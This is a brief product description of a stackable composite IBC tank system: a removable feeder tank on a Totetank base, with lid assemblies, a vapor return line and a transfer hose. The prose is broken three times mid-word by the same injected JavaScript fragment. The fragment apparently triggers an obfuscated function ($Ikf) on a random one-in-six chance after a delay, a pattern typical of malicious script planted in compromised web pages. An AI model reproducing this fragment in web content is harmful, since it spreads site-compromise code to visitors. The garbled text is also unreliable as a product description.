An efficient solution to liquid handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling is United’s stacked composite tank system. This stackable composite IBC system has a composite feeder container (which is removable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and refillable) on top of a Totetank® IBC base container. This allows liquids to be piped directly to the area of use from the base tank. The stacked composite tank contains a lid assembly for the in-plant tank, vapor return line, liquid transfer hose, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and top tank lid assembly.